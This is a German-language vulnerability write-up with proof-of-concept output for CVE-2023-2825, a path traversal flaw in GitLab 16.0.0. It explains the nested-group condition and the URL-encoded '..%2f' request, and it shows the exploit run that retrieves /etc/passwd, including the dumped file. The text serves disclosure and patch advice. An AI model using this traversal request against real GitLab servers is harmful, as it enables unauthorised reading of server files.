
GitLab CVE-2023-2825 PoC. This PoC leverages a path traversal vulnerability to retrieve the /etc/passwd file from a system running GitLab 16.0.0.
Am 23. Mai 2023 veröffentlichte GitLab Version 16.0.1, die eine kritische Schwachstelle, CVE-2023-2825, behob, die die Community Edition (CE) und Enterprise Edition (EE) Version 16.0.0 betraf. Die Schwachstelle ermöglicht nicht authentifizierten Benutzern, beliebige Dateien durch einen Pfad-Durchquerungs-Fehler zu lesen. Sie wurde von pwnie auf HackerOne über das Bug-Bounty-Programm entdeckt.
Zum Zeitpunkt der Erstellung dieses Artikels gab es keinen öffentlichen Proof of Concept.
Ein nicht authentifizierter böswilliger Benutzer kann eine Pfad-Durchquerungs-Schwachstelle ausnutzen, um beliebige Dateien auf dem Server zu lesen, wenn ein Anhang in einem öffentlichen Projekt vorhanden ist, das in mindestens fünf Gruppen verschachtelt ist. Dies ist ein Problem mit kritischem Schweregrad (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).
Diese Schwachstelle hat eine interessante Anforderung: Das Projekt muss in mindestens 5 Gruppen verschachtelt sein. In unseren Tests fanden wir einen direkten Zusammenhang zwischen der Anzahl der Gruppen und den Verzeichnissen, die durchlaufen werden können. Die Regel scheint N + 1 zu sein, d.h. wenn Sie 10 Verzeichnisse durchlaufen möchten, benötigen Sie 11 Gruppen.
Bei einer standardmäßigen GitLab-Installation werden Dateianhänge nach /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file> hochgeladen. Wenn Sie also das Dateisystem-Root erreichen möchten, müssen Sie 10 Verzeichnisse zurückgehen und benötigen daher 11 Gruppen.
Wenn Sie eine Datei als Anhang in einem GitLab-Issue hochladen, wird eine Anfrage an POST - /:repo/upload gesendet. Diese gibt eine JSON-Antwort mit der Datei-URL zurück, die Ihnen den Zugriff auf die Datei ermöglicht.
Die Datei-URL setzt sich aus /:repo/uploads/:id/:file zusammen, wobei :file der Dateiname selbst ist. Wenn :file durch einen beliebigen Dateipfad ersetzt wird, gibt GitLab die angeforderte Datei zurück. GitLab bereinigt diesen Dateipfad nicht, was zu einer Pfad-Durchquerung führt.
Um diese Schwachstelle erfolgreich auszunutzen, müssen Sie das / im Dateipfad URL-kodieren. GitLab liest dies als Wert und dekodiert es intern. Wenn Sie es nicht kodieren, interpretiert GitLab das / im Dateipfad als Teil der Route.
In unseren Tests reichte die Kodierung nur des / aus, um Nginx-Pfadfehler zu umgehen.
Nicht authentifizierte Benutzer können diese Schwachstelle nur auf öffentlichen Repositories ausnutzen, die die Anforderungen an verschachtelte Gruppen erfüllen. Für den Zugriff auf das Repository selbst ist eine Authentifizierung erforderlich.
Wir haben den Proof of Concept in Python entwickelt. Er erstellt die 11 Gruppen, erstellt ein öffentliches Repository, lädt eine Datei hoch und nutzt dann die Schwachstelle aus, um die Datei /etc/passwd zu erhalten.
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
GitLab empfiehlt, alle von diesem Problem betroffenen Versionen so schnell wie möglich zu aktualisieren.
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/